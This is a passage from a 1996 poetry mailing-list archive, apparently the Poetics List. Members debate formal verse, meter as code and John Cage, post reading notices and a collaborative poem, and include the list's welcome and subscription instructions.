Mike Boughn, I agree with Maria. I was not trying to demonize finch as to assert my lack of interest in systematic studies of form (which I know, you're interested in too). Maybe this will change on my part-- but the questions of the MEANING that get attached to forms interests me too. What does Maria mean by this meaning, meaning as value? Since I read both "traditional" and "non-traditional" (i'm not defining that now) verse (in terms of "form"), I guess I'm curious what form attracts me and why. But I guess I feel that "meaning"

tends to get pushed aside, in such discussions. As if the meaning of the form matters more than the meaning on a more content level. If I see the MEANING of say a Berrigan poem as similar to the meaning of a Shakespeare sonnet (and i don't mean a SINGULAR meaning, but a kind of meaning-complex), am I being a bad boy who has not eaten enough of my post-modern peas and recognized how IMPORTANT the formal differences are in the fashion- show of life? cs

↑ Index

320. **Eryque Gleason**
Re: readings in NYC the next few days
Thu 16 May 1996

> *At POETRY CITY Thursday 5/23*
> *Robert Hale*
> *&*
> *Shannon Ketch*
> *6:30 p.m. 5 Union Sq W free*
>
> *attendance is mandatory*
> *there will be a quiz*

jordan, i apologize for my absence. my dog ate it.

↑ Index

321. **Tony Green**
Re: poetry on the net
Thu 16 May 1996

---

declining poetry? what dead language is this? poetry, poetryst, poetryiton?

Tony Green,
e-mail: [redacted]

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322. **Tony Green**
Re: sometimes a formal Finch comes
Thu 16 May 1996

But yes, Henry Gould, I was listerning to you & Ch.Pierce, don't worry abt it.3rdness is good fun.

Tony Green,
e-mail: [redacted]

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323. Tony Green
Re: formal continuum/conspicuous repetition (fwd)
Thu 16 May 1996

I'm not surprised abt "maths" in "artworks", just chary of seeing that as its value.

Tony Green,
e-mail: [redacted]

↑ Index

324. Gary Hawkins
Re: readings in NYC the next few days
Thu 16 May 1996

Would like to add

Segue May 18
Chris Mann
(Australian linguistic composer, phenomenal.)

↑ Index

325. Rod Smith
Fwd: Re: Fwd: Re: formal continuum/conspicuous repetition (fwd)
Thu 16 May 1996

Forwarded message:
From: [redacted]
To: [redacted]
Date: 96-05-16 15:22:48 EDT

Dear Rod,
Thanks. Could you please forward this one to the list?

Re: Replies to the post on the formal continuum:

A dozen replies are waiting on the server in my office an hour from home and I can't acess fthem until next week. But I have seen a couple fo the latest--and the subject haeadings--so I have some idea, i think, fo what the resposne has been. And I just wanted to throw into the mix the thought that my idea of formalism--my love for sensual repetition in poetry, and my interest in celebratingcc elerating it in books like the anthology in question--has nothign to do with political conservatism (I saw timothy Steele's name mentioned in this context). First, ther eis no connection between formal proclivities nad political ones, or

else fascist Pound and antisemite Eliot would have written sonnets while radical Millay would have written the Cantos. Check out Adrienne Rich's essay

Format and Form in her new book of essays for more on this common misperception. Also, my own interst in form is based if anything on a sense of he democratic potential of oral poetries, and appreciation for the universal/communal roots of the art in tribal poetics. I am not personally a conservative in the least. ANd of course, I am personally tired of having it assumed that because I love formal poetry I am some kind of reactionary in my personal life. My main point though is that I wish we could begin to discuss some kind of common overall map of how poetics works, without panic based on political factions/fractions. My own poetry started out in freee verse, and when noticed the coded meanings in my occasional unintentional metrical riffs, I wanted to mistress meter and find out how to control it better. That led to learning to wrtie in form, enjoyhing it,a nd to the idea of the metrical codes explained in THE GHOST OF METER. Ghost of Meter in turn led me to realize that as a fefminist I wanted to write in other meters, and I am now writing in metetrs that have not been seriously explored before, to wit in dactyls. These are regular meters, with a regular rhythm. But they are plenty challenging to me as I learn how to vary them and make them live. THey defamiliarize language and rid me of the need to put an ego-subject in the middle of the poem. i enjoy them. But his is not for politically reactionary nrreasons; if i waqnt to go back, it is about 10,00 years back, not back to the ighteenth century as some formalists do seem to want to do.

Well, I will resond mor eafter I read athe texts being held hostage at my office.
--Annie

I ome--et smakbbpmy
fegn g .to T HsetMy fowrks. anry But still, asal tribacs a lir Adn and ant

quto
has
nothing
to do
with is
at tThough The
last I etDear
Pis list?

wrard this

↑ Index

326. **Carnography**
Re: Formal Continuum
Thu 16 May 1996

At 3:01 PM 5/16/96, Ward Tietz typed:

> *The use of the term "form" without any discussion of material or other technical factors, seems to me to be too "formal." It leaves too many aspects of production and reception unspecified and leaves form only fit for describing ideology.*

Discussions of form are *usually* too unspecified. Why is that?

In classical (and quertzblatz) music composition, discussions of form are almost always on the level of formal construction. The absence of terms, I think, is what makes formal discussions in music so like a classical argument in which the terms are unknown. I'd like to see more of that in discussions of the poetry of our peers-- especially in discussions of so-called experimental poetry.

The ideological aspect of form seems to me to be form's least interesting aspect. Certainly, attempts to right ideological flaws by means of formal innovation have created important approaches to form and technique--for example, Cage's chance operations, which were often created in an attempt to avoid intrusions of "the ego." But in arbitrary cases, there is also the danger of losing the initial impulse that leads to the occurrence of the poem. In the service of some self-conscious attempt to posit opposing or utopian takes on politics, many poets seem obsessed with writing prosodic PC models-- colloquial models to make the poem more "real," appropriations of street art to somehow avoid the artificiality of language (an impossibility). People often argue against formal Eurocentrism--as if Afrocentric forms were a priori better (or worse). I would argue that the *properties* of a poem--its idiomatic (not ideological) event, is resonance--are what make the poem work. Sometimes, the wish to avoid the obvious is the only doctrine, the only belief system, that a writer needs.

All the best,

Rob Hardin

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327. **Rod Smith**
Re: sometimes a formal Finch comes
Thu 16 May 1996

>Open is closed; closed
is open. Deal with it. - Henry Gould

1. Do your profs think they're speaking from a platform
of objectivity or are they fooling themselves?

2. But isn't a difference in
tone really a difference in meaning?

3. Don't you
grow weary, irritable?

4. Can it be _sort of_, or does it
have to be yes or no?

5. So, um, case closed?

ok, time's up, put down your pencils.

please.

↑ Index

328. Rod Smith
Re: readings in NYC the next few days
Fri 17 May 1996

G.H. wrote--

> *Would like to add*

>Segue May 18
Chris Mann
>(Australian linguistic composer, phenomenal.)

time?
I highly tout this individual. Go, if you can, he's an amazement. Just read
at Bridge Street, terrific performer/poet/composer.

Rod

↑ Index

329. Carnography
fromal Fnich cmoes a/ a fomral Ficnh coems/
Fri 17 May 1996

At 11:49 AM 5/16/96, Michael Boughn typed:

> *She wants to establish an understanding of metrics as a
> code--it's a Sausurrian reading of how regular metrical forms signify,
> or can be made to signify, by certain writers in certain conditions.
> So her sense of "form" seems to have to do with how traditional forms
> are made to signify as codes. It's a theoretically naive sense of
> what constitutes form from the perspective of modern mathematics and*

> *physics and their application to poetics, as a number of people have pointed out...*

Among other things, metrics are certainly a kind of code. The mere fact that a work might involve metrical patterns that might play against the content (line breaks, metrics that foreground the weaknesses and disloca- tions of syntax) suggests that there is a kind of pun, a duality, involved in metrical considerations. The most obvious examples might well be medieval--metaphysical shape poetry; medieval music by Machaut, which was sometimes written "in the shape of" the architecture of the cathedral in which it was to be performed; *musica ficta*--musical notes in a code that usurped the notes as written; *augenmusic* (music for the eye, ie, notation that drew pictures on the page); the parody mass, which sometimes encoded popular songs in an almost unrecognizable cantus firmus. I might argue that all sonically-based technique can be considered as a kind of code.

The tricky part comes when one attempts to affix meanings to the *terms* of the code. I might argue that meter is a kind of non-functional, non-representational cryptography. The sound of language might have *originated* through a misguided attempt to represent, but ontomatopoeia retains an endearing artificiality. When sound-patterns repeat, the meaning often grows progressively more opaque. Laugherino, laugherino...

In Julius Caesar, Shakespeare employs a rhetorical device that seems relevant: He uses the phrase "honorable men" repeatedly until the term begines to mean its opposite, and an angry crowd goes away in search of the "honorable" men they later kill. Could this be an example of how rhythm can be used to provide a counterpoint to poetic meaning?

> *Finch stresses Dickinson's uses and oppositions of metrical forms. She examines the ways Dickinson modulates between, say, a tetrameter line and a pentameter line in the same poem, and argues that such shifts mean something--usually having to do with resistance to a patriarchal poetic tradition.*

The resistance of ED's modulation/vacillation between meters *does* mean something. But I fail to see how any patriarchy is involved. Mallarme and Hopkins were resisting conventional metrics as well. There is no secret, pervasive conspiracy of straight white males formed to keep poetry metrical, just as jews are not responsible for the economic state of the world.

BTW: I do not accept the idea that the Canon is such a "conspiracy" of straight white males.

> *I was speaking of metrics, and arguing that metrical patterns exist on such a continuum, my main point being that the notion of non-metrical poetry promoted most recently by Steele and Co. is nonsense, that all*

> *poetry is metrical, i.e. measured, although we can speak meaningfully*
> *of regular metrics and irregular metrics.*

So poetry would seem to be to me--though I am speaking from the perspective of a musician as well as a writer. No matter what style or period, poetry-- indeed, all writing, including prose--seems to scan as rhythmically as sheet music: everything still breaks down to two's and three's. Is this some sort of literal-minded failing on my part as a reader? Possibly--but I'm inclined to think otherwise. To me, it seems a failing on the reader's part *not* to hear music when s/he reads--unless there has been a conscious rejection of sound in poetry on reader and writer's part. (The idea is interesting, though, and has already lead to some fascinating work.)

All the best,

Rob Hardin

↑ Index

330. Thomas Bell
range review Nobel form or lil Hans
Fri 17 May 1996

> *Lil Hans put his finger in the dike*
> *A group of Nobel Prize winning poets has declared that cyberspace*
> *is no place for serious verse, according to Reuters. Asked if*
> *the*
> *use of the Internet was one way to reverse the low popular*
> *appeal*
> *of poetry, the group said no. Poets Derek Walcott, Octovio*
> *paz,*
> *and Czeslaw Milosz were undaunted about the current dearth of*
> *readers. Walcott stated that "I'd rather have just one person*
> *who reads and feels my work deeply than hundreds of thousands*
> *who*
> *read it but don't really care about it." Milosz allowed that*
> *> > > > > computers were useful incomposition, but was skeptical*
> *that lovers*
> *of serious poetry would look for it on the Internet.*
> *yeah well, "seriouous" somea this Csezlaw*
> *cereal poetry on the cornflakes box made me what I am today*
> *"I read you, chaise-lounge, but i don't really care about you..."*
> *What I care about is demonstrating outside my window this morning*
> *twenty thousand lilac blossoms excercizing their rites*
> *exotica of the navel tickle the holy grails*
> *for smart bombs. Don't believe a word of it*
> *sparse gleanings from the ivoried groves of academ*
> *and don't forget those of us who have a visceral reaction to*
> *triumph of the human spirit stuff such as milosz and walcott churn*

> *out--our viscerae get bored.*
> *One develops an understanding of different levels of*
> *suffering.*
> *stuttering machine gun ducklings*

↑ Index

331. Carnography
Re: sometimes a formal Finch comes
Fri 17 May 1996

At 11:42 PM 5/16/96, Rod Smith typed:

> *1. Do your profs think they're speaking from a platform*
> *of objectivity or are they fooling themselves?*

If my "profs" (whoever these nebulous strangers
might be) either "think" they're speaking from a platform
of objectivity or are "fooling themselves," then it
follows that my profs must either:

1. merely imagine they are speaking from a platform of objectivity (in which case, they would seem to be incorrect according to the terms of your question), or

2. are certain they speak from a platform of objectivity
(in which case, they would seem to be correct according
to the terms of your question).

An interesting idea, but a strange one...

> *2. But isn't a difference in*
> *tone really a difference in meaning?*

You would have to ask the writer. Otherwise, how could you presume to know what s/he means merely by listening to the tone?

(Ad hominem and stir, my personable gourmet?)

> *3. Don't you*
> *grow weary, irritable?*

Don't you walk three blocks north of your house on Suffolk Street to kick stray cats on your way to the Estroff Pharmacy on Second Avenue? Don't you ask to fill a prescription for your remissive phlebitis and sigh sensually when you receive your treasured prescription?

If not, why not?

> *4. Can it be _sort of_, or does it*
> *have to be yes or no?*

Always?

> *5. So, um, case closed?*

Not if my mind is still open. Would you please check the trunk?

> *ok, time's up, put down your pencils.*

But I'm enjoying my phallocentric pencil's attempt to
visually usurp my androgynistic imagination with notions
of POWER, MORE POWER, adjective-verb, adjective-verb,
adjective verb! Meaning is arbitrary, don't you think?
Arf, arf! Whinny! Bra-a-a-ck!

> *please.*

Well, when you put it *that* way...

All the best,

Hardin

↑ Index

332. Carnography
Re: sometimes a formal Finch comes
Fri 17 May 1996

At 12:01 PM 5/15/96, Rod Smith typed:

> *Re Cage & improvisation-- actually he sd he changed his mind about*
> *improvisation after hearing Messian improvise on the organ.*
>
> *--Rod*

Fascinating information, Rod. Thanks for offering it.
Where did you hear this?

All the best,

Hardin

↑ Index

333. John Whiting
Re: Formal Continuum
Fri 17 May 1996

Re John Cage and chance operation:

In 1982 in London there was a major 70th birthday festival given for Cage. It included two whole afternoons in which his music was performed without formal breaks, consecutively and simultaneously. Many of the same musicians took part. The structures of both were determined by chance operations governed by the I Ching. The first event was planned by one of the organizers, the second by Cage himself.

The first afternoon was dreary beyond description. 4'33" seemed like 4hrs33'. The second afternoon went by in a flash. Everyone was constantly laughing and applauding. Never had four hours gone so quickly.

Why?

Cut to Gertrude Stein's death bed.

Alice: What is the answer?

Gertrude: What is the question?

John Whiting
Diatribal Press
London

↑ Index

334. **Rod Smith**

Re: range review Nobel form or lil Hans

Fri 17 May 1996

Lil Hans put his finger in the dike
> > > > > > > A group of Nobel Prize winning poets has declared that cyberspace
> > > > > > > is no place for serious verse, according to Reuters. Asked if
> > the
> > > > > > > use of the Internet was one way to reverse the low popular
> > appeal
> > > > > > > of poetry, the group said no. Poets Derek Walcott, Octovio
> > paz,
> > > > > > > and Czeslaw Milosz were undaunted about the current dearth of
> > > > > > > readers. Walcott stated that "I'd rather have just one person
> > > > > > > who reads and feels my work deeply than hundreds of thousands
> > who
> > > > > > > read it but don't really care about it." Milosz allowed

that
> > > > > > > computers were useful incomposition, but was skeptical
> > that lovers
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> > > and don't forget those of us who have a visceral reaction to
> > triumph of the human spirit stuff such as milosz and walcott churn
> > out--our viscerae get bored.
> > One develops an understanding of different levels of
> > suffering.
> > stuttering machine gun ducklings
Jimmy America Animal Razzamatazz, shit

↑ Index

335. **henry**
Re: sometimes a formal Finch comes
Fri 17 May 1996

On Thu, 16 May 1996 23:42:28 -0400 Rod Smith said:
>>Open is closed; closed
>is open. Deal with it. - Henry Gould
>
>
>1. Do your profs think they're speaking from a platform
>of objectivity or are they fooling themselves?

what profs?
>
>2. But isn't a difference in
>tone really a difference in meaning?
>
problem is a lot of meanings presented in monotone.
>3. Don't you
>grow weary, irritable?
>

no, I make others so. See answer to #2
>4. Can it be _sort of_, or does it
>have to be yes or no?
>
the rest comes from evil. [see 3 doors down: Circle of the Equivocators]
>5. So, um, case closed?
>
Bill's in the mail. - Guru Dobba Bowl

↑ Index

336. henry gould
forming at the mouth
Fri 17 May 1996

M. Boughn's & A. Finch's recent posts maybe answered my question of yesterday re: W. Teitz's message: how to focus more precisely on where form & technique conjoin. The focus on metrics & measure might lead into the internal structure, where all the effects take place. It's not that ideology & background are not important - it's that they excuse a superficial reading or a non-reading. Meter is famously hard to read & hard to agree on - thus the dearth of comments on it here & elsewhere, I suppose - but to listen to it (along with all the other halting stuttering slowdown effects of poetry) might lead to the water in the rock. Maybe combined with some kind of "semiotic approach" (what is the order of meanings - the yes & no - that builds the architectonic?) I know this is not anything new. But then classicism is revolution (I mean the prehistoric classics) - Henry Gould

↑ Index

337. Michael Boughn
Re: a formal Finch comes
Fri 17 May 1996

> *Among other things, metrics are certainly a kind of code. The mere fact that a work might involve metrical patterns that might play against the content (line breaks, metrics that foreground the weaknesses and dislocations of syntax) suggests that there is a kind of pun, a duality, involved in metrical considerations.*

Actually I meant "code" in a more strictly structuralist sense. This is what she says: ". . . the metrical-code theory concentrates on the information value of specific occurences of metrical patterns within a poem. The word _code_ implies that meter in a metrically organic poem can function like a language, carrying different information at different points within a poem. . . . metrical

associations create their own layer of literary meaning as they develop throughout a poem."

Metrical "meaning", according to this theory, is generated through difference within a structure--an obvious reference to Saussure. As I said, it's an interesting way of looking at what certain poets have done in certain circumstances, a different way of reading the meaningfulness of meter.

As for E. Dickinson and patriarchy, read Finch's argument. I never meant to become an apologist for her. I just wanted to correct what in my sleep-deprived state (damn those 2 a.m. feedings!) seemed to me a somewhat knee-jerk response by _some_ people to her brand of formalism. If my tone seemed shrill, I apologize.

But here's one for you. What's the difference between "rules" and "conventions"? I just read an essay by Peter Burger in his collection called _The Decline of Modernism" (I don't have it here--it's 3 floors down--and can't remember the name of the essay and have Amelia sleeping finally in one arm as I type this and am not going to go down to the kitchen for it and risk waking her up--just to reintroduce the "body" here) in which he argues that one of the differnces, or points of modulation in the development of modernism (the transition from the 18th to the 19th century, from the Enlightenment to Romanticism) was the shift in poetic composition from rules to conventions and the different way that positioned the writer socially and as an "artist".

Mike
[redacted]

↑ Index

338. Maria Damon
Re: readings in NYC the next few days
Fri 17 May 1996

---

some say:
attendance is mandatory
>there will be a quiz
but i say:
will there be a querz.
md

↑ Index

339. Peter and Karen Landers
Re: sometimes a formal Finch comes
Fri 17 May 1996

---

tom bell wrote:
>this may come from sheer blissful ignorance but im having trouble
>distinguishing form from technique in this discussion, especially
>in light of tony greens comments. one can have fine technique and
>not be "in form". can one follow a form (?closed) with no technique?
>are form and technique identical, similar, or mutually exclusive?

just a quick semantic point:

 - "formal" means *starting* with a predetermined form, in my book - not all shapes are forms, that would extend the definition of the word beyond all use - many modernists sought "new forms" rather than an end to form (Spring and All) - "open form" is a form because it can be seen as a reflection of one of the current models of the universe - there is often more structure in an "open form" piece that in any formal poem I have ever seen

Peter Landers
[redacted]
http://www.vivanet.com/~landers

↑ Index

340. Maria Damon
Re: range review Nobel form or lil Hans
Fri 17 May 1996

 Lil Hans put his finger in the dike
> > > > > > > A group of Nobel Prize winning poets has declared that cyberspace
> > > > > > > is no place for serious verse, according to Reuters. Asked if
> > the
> > > > > > > > use of the Internet was one way to reverse the low popular
> > appeal
> > > > > > > > of poetry, the group said no. Poets Derek Walcott, Octovio
> > paz,
> > > > > > > > and Czeslaw Milosz were undaunted about the current dearth of
> > > > > > > > readers. Walcott stated that "I'd rather have just one person
> > > > > > > > who reads and feels my work deeply than hundreds of

thousands
> > who
> > > > > > > read it but don't really care about it." Milosz allowed
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> > > > > > > computers were useful incomposition, but was skeptical
> > that lovers
> > > > > > > of serious poetry would look for it on the Internet.
> > > > > > > > yeah well, "seriouous" somea this Csezlaw
> > > > > > > > cereal poetry on the cornflakes box made me what I am today
> > > > > > > "I read you, chaise-lounge, but i don't really care about you..."
> > > > > > > What I care about is demonstrating outside my window this morn-
ing
> > > > > > > twenty thousand lilac blossoms excercizing their rites
> > > > > > > exotica of the navel tickle the holy grails
> > > > > > for smart bombs. Don't believe a word of it
> > > > > sparse gleanings from the ivoried groves of academ
> > > and don't forget those of us who have a visceral reaction to
> > triumph of the human spirit stuff such as milosz and walcott churn
> > out--our viscerae get bored.
> > One develops an understanding of different levels of
> > suffering.
> > stuttering machine gun ducklings
  Jimmy America Animal Razzamatazz, shit
on a shingle, and adam and eve on a raft, venus on the

↑ Index

341. Mark W Scroggins
ANNOUNCEMENT: NEW JOURNAL
Fri 17 May 1996

ANNOUNCING:

The premier issue of FLASHPOINT: A Multidisciplinary Journal in the Arts and Politics.

Issue 1 features:

-New poetry by CHARLES BERNSTEIN, CLAYTON ESHLEMAN, JOE BRENNAN, DAVID HICKMAN, CARLO PARCELLI, FREDERICK POLLACK

-Art by SUE COE and A. ZEMEL

-RON SUKENICK interview and story

-JOE BRENNAN on the LANGUAGE POETS

-JUDITH BRODY on SUE COE

-ART COVER on Adaptive Ecology

-DAVID KAUFMANN on THEODOR ADORNO

-MARK SCROGGINS on IAN HAMILTON FINLAY

-Reviews of Eshleman, Perelman, Nicholls, Comens

FlashPoint combines a commitment to modernist/postmodernist poetics with a rigorously political social commentary. 8 1/2 x 11", 100pp. The first issue is available for $7.50; make checks payable to FlashPoint, PO Box 6243, Washington DC 20015-0243. Inquiries may also be directed to Jim Angelo at <[redacted]>.

(Or you can drop me a line--Mark Scroggins)

↑ Index

342. henry gould
Re: range review Nobel form or lil Hans
Fri 17 May 1996

On Fri, 17 May 1996 10:00:05 -0400 Maria Damon said:
Lil Hans put his finger in the dike
A group of Nobel Prize winning poets has declared that
cyberspace
no place for serious verse, according to Reuters. Asked
if
the
use of the Internet was one way to reverse the low popular
appeal
of poetry, the group said no. Poets Derek Walcott, Octovio
paz,
and Czeslaw Milosz were undaunted about the current dearth
of
readers. Walcott stated that "I'd rather have just one
person
who reads and feels my work deeply than hundreds of
thousands
who
read it but don't really care about it." Milosz allowed
that
mputers were useful incomposition, but was skeptical
that lovers
serious poetry would look for it on the Internet.

yeah well, "seriouous" somea this Csezlaw
cereal poetry on the cornflakes box made me what I am today
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What I care about is demonstrating outside my window this morning
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exotica of the navel tickle the holy grails
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sparse gleanings from the ivoried groves of academ
and don't forget those of us who have a visceral reaction to
triumph of the human spirit stuff such as milosz and walcott churn
out--our viscerae get bored.
One develops an understanding of different levels of
suffering.
    stuttering machine gun ducklings
  Jimmy America Animal Razzamatazz, shit
on a shingle, and adam and eve on a raft, venus on the
pair a dicey flytraps for the eyes have it eventually
between the tis and the this it hurts
said Milt the popularist Blind King Atwells Avenue Poet Porthole

↑ Index

343. **Jordan Davis**

Re: range review Nobel form or lil Hans

Fri 17 May 1996

Lil Hans put his finger in the dike
> > > > > > > A group of Nobel Prize winning poets has declared that cyberspace
> > > > > > > is no place for serious verse, according to Reuters. Asked if
> > the
> > > > > > > use of the Internet was one way to reverse the low popular
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> > triumph of the human spirit stuff such as milosz and walcott churn
> > out--our viscerae get bored.
> > One develops an understanding of different levels of
> > suffering.
> > stuttering machine gun ducklings
  Jimmy America Animal Razzamatazz, shit
on a shingle, and adam and eve on a raft, venus on the
range life, if I could settle down, if I could settle down

↑ Index

344. Aldon L. Nielsen
Re: young guy killed in LA
Fri 17 May 1996

Gab -- the story is still up in air, mysterious, etc -- young guy in question is former street person who'd gotten involved in broadcast journalism thru the Pacifica station here & its programs -- yes, he'd been coveing AMJ story, along with many others -- small story in LA Times, and some coverage in LA Sentinel (Local black paper) but true motive for murder of this young man still not known -- I'd suggest a phone call to KPFK or to Pacifica near you as possible place to begin if you're looking for info about this tragic murder --

↑ Index

345. Jordan Davis
readings NYC next days
Fri 17 May 1996

Maria,
If there are quiz blossoms
then who will gather them.
If there is blinding meaning
will we still have to look.
What is the issue is a little power,
A very little power,
To resist almost successfully
Our disappearance. Imagine
Andy Warhol without power,
imagine Frank O'Hara without power,
imagine the language school.
Your contradictory Berlitz,
Jordan

↑ Index

346. Herb Levy
Re: range review Nobel form or lil Hans
Fri 17 May 1996

Or renga viewer, or whatever.

Uhhm, I know that summer's coming up, the season for mailbox filling "renga", but, erm, wasn't there a decision by consensus of the list to circulate these collectively created poems privately during the composition period & post some of the completed pieces to the entire list.

Rather than, say, take over everyone's mailboxes with screen after screen of growing columns of left hand carets.

At issue here is not the quality of the work, but the quantity of the process.

Those who are new to the list since last fall may find this attitude unnecessarily harsh. If so, I suggest that you search the Poetics-List archives <http://writing.upenn.edu/epc/poetics/archive/> for the word "renga" to get a fuller sense of the previous instance of this kind of thing & the discussion about it.

Herb Levy
[redacted]

↑ Index

347. **k.a. hehir**
Re: range review Nobel form or lil Hans
Fri 17 May 1996

On Fri, 17 May 1996, Maria Damon wrote:

> Lil Hans put his finger in the dike
> > > > > > > > A group of Nobel Prize winning poets has declared that
> cyberspace
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> > > triumph of the human spirit stuff such as milosz and walcott churn
> > > out--our viscerae get bored.
> > > One develops an understanding of different levels of
> > > suffering.

> > > stuttering machine gun ducklings
> Jimmy America Animal Razzamatazz, shit
> on a shingle, and adam and eve on a raft, venus on the
>
 phone

↑ Index

348. **Poetics List**

New Welcome Message

Fri 17 May 1996

Rev. 5-16-95

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Who's Subscribed
4. Digest Option
5. When you'll be away
6. The Electronic Poetry Center (EPC)
7. Poetics Archives at EPC
8. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]. edu) and Loss Pequen~o Glazier ([redacted]).]

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable. Word-of-mouth (and its electronic equivalents) seems to be working fine.

The "list owner" of Poetics is Charles Bernstein: contact me for further information. As of May, Joel Kuszai is working with me to administer the list. For subscription information contact us at [redacted]

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*
If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at sharewar sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this messagage:

set poetics mail

---

5. When you'll be away

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message:

You can temporarily turn off your mail by sending a message:

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 7 below.)

---

6. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

7. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

8. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] *with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above*

> *to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable*
>
> *Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.*
>
> *Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.*
>
> *Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.*
>
> ---
>
> *END OF POETICS LIST WELCOME*

↑ Index

349. **Alan Golding**
Typo of the Day
Fri 17 May 1996

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

I'm intrigued by this Polis novelist you mentioned, George. Would that be Conrad Olson?

↑ Index

350. **henry gould**
Re: a foraml Finch comes
Fri 17 May 1996

On Fri, 17 May 1996 13:08:33 -0500 Chris Stroffolino said:
> la di da di da di la
> did did la la did la di deeee
> la du du dud du la lud lud lud duh lull
> le le leee lee leee leee de de de de de

checked my bird book - that's no finch, it's a stufted sandsifter. - hullygully red

↑ Index

351. Alan Sondheim

read it but don't

Fri 17 May 1996

"seriouous" somea this Csezlaw > > > > > > > What I care about is Don't believe a word of it > > > > > > > "I read you, chaise-lounge, but i computers were useful incomposition, but was skeptical > > > > and don't cornflakes box made me what I am today > > > > > > > > yeah well, demonstrating outside my window this morning > > > > > > > exotica of the don't really care about you..." > > > > > > > > and Czeslaw Milosz were excercizing their rites > > > One develops an understanding of different forget those of us who have a visceral reaction to > > > > > sparse gleanings from the ivoried groves of academ > > > > > > for smart bombs. in the dike > > > stuttering machine gun ducklings > > > > > > > > levels of > > > appeal > > > out--our viscerae get bored. > > > paz, > > > my work deeply than hundreds of > > > > > > > > A group of Nobel Prize navel tickle the holy grails > > > > > > twenty thousand lilac blossoms on a shingle, and adam and eve on a raft, venus on the > person > that > phone > > Jimmy America Animal Razzamatazz, shit > Lil Hans put his finger really care about it." Milosz allowed > > > > > > > > readers. Walcott said no. Poets Derek Walcott, Octovio > > > > > > > > of serious poetry stated that "I'd rather have just one > > > > > > > > use of the Internet stuff such as milosz and walcott churn > > > who > cyberspace > if > of > suffering. > > > that lovers > > > the > > > triumph of the human spirit thousands undaunted about the current dearth > > > > > > > > is no place for serious verse, according to Reuters. Asked > > > > > > > > of poetry, the group was one way to reverse the low popular > > > > > > > > who reads and feels winning poets has declared that > > > > > > > > cereal poetry on the would look for it on the Internet. > > > > > > > > read it but don't

http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ Ich war Hamlet. Ich stand an der Kuste und redete mit der Brandung BLABLA, im Rucken die Ruinen von Europe. Heiner Muller

↑ Index

352. **Chris Stroffolino**
Re: a foraml Finch comes
Fri 17 May 1996

la di da di da di la
did did la la did la di deeee
la du du dud du la lud lud lud duh lull
le le leee lee leee leee de de de de de

↑ Index

353. **Rod Smith**
Re: sometimes an informal Cage comes
Fri 17 May 1996

> *Re Cage & improvisation-- actually he sd he changed his mind about improvisation after hearing Messian improvise on the organ.*
>
> *--Rod*

>Fascinating information, Rod. Thanks for offering it.
Where did you hear this?

> *All the best,*
>
> *Hardin*

